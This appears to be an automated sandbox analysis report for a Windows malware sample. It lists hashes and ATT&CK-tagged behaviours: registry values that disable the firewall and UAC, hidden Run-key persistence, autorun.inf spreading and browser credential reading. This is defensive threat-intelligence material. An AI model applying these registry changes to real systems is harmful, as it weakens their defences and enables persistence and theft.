5f9f5634db8e30d9d11a63baa794863ecf4855637f95e81b6fe667d9f85cab72

Analysis

max time kernel
140s
max time network
137s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10-08-2024 05:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
Size

273KB
MD5

84f755ce53cb1d70ba895c0f0f629595
SHA1

3fdf3e27b1541d52c9a865951a2bdee107c37473
SHA256

5f9f5634db8e30d9d11a63baa794863ecf4855637f95e81b6fe667d9f85cab72
SHA512

cd2cee1a1a8e4b53118b1a463fcf767a3fc72566663d16f5cbc563d79f2b9c47e4c1a60dbbd4c61faebcc1488a842783f9984433e2d52c2b5148918d3fb99de7
SSDEEP

6144:/BNw2vyd8KCg4pI4UJr22Ssdk/JplhD/zntJCkTSwKUxSwc:TwQyfdXCpj7nBNxS

Score

10^/10

defense_evasion discovery evasion persistence privilege_escalation spyware stealer trojan upx

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 4 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1684	netsh.exe
2616	netsh.exe
3048	netsh.exe
1396	netsh.exe

Sets file to hidden 1 TTPs 10 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2120	attrib.exe
1668	attrib.exe
2428	attrib.exe
560	attrib.exe
2308	attrib.exe
616	attrib.exe
2820	attrib.exe
2252	attrib.exe
1584	attrib.exe
2436	attrib.exe

Loads dropped DLL 3 IoCs

pid	Process
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
2440	IEXPLORE.EXE
1252	IEXPLORE.EXE

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3012-0-0x00000000012F0000-0x0000000001343000-memory.dmp	upx
behavioral1/memory/3012-8-0x00000000012F0000-0x0000000001343000-memory.dmp	upx
behavioral1/files/0x000e000000014132-15.dat	upx
behavioral1/memory/880-26-0x00000000012F0000-0x0000000001343000-memory.dmp	upx
behavioral1/memory/3012-540-0x00000000012F0000-0x0000000001343000-memory.dmp	upx
behavioral1/memory/880-1069-0x00000000012F0000-0x0000000001343000-memory.dmp	upx

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\sysrunc = "C:\\Windows\\system32\\sysrunc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\daemon = "C:\\Users\\Admin\\AppData\\Roaming\\daemon.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\sysrunc = "C:\\Windows\\system32\\sysrunc.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\daemon = "C:\\Users\\Admin\\AppData\\Roaming\\daemon.exe"	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\sysrunc = "C:\\Windows\\System32\\sysrunc.exe"	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\daemon = "C:\\Users\\Admin\\AppData\\Roaming\\daemon.exe"	reg.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	F:\autorun.inf	attrib.exe
File created	C:\autorun.inf	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
File created	F:\autorun.inf	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
File created	D:\autorun.inf	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
File opened for modification	C:\autorun.inf	attrib.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\sysrunc.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\sysrunc.exe	attrib.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
2440	IEXPLORE.EXE
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
880	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
840	sc.exe
2204	sc.exe
2408	sc.exe
1644	sc.exe
2188	sc.exe
2288	sc.exe
1520	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 4 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\ScreenSaveActive = "1"	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Control Panel\Desktop\ScreenSaveActive = "1"	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe

Modifies Internet Explorer settings 1 TTPs 50 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "429430027"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_StatusBar = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_FullURL = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{6BF2B471-56DA-11EF-960D-6A8D92A4B8D0} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_URLinStatusBar = "yes"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_URLinStatusBar = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_StatusBar = "yes"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_FullURL = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 59 IoCs

pid	Process
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
3012	84f755ce53cb1d70ba895c0f0f629595_JaffaCakes118.exe
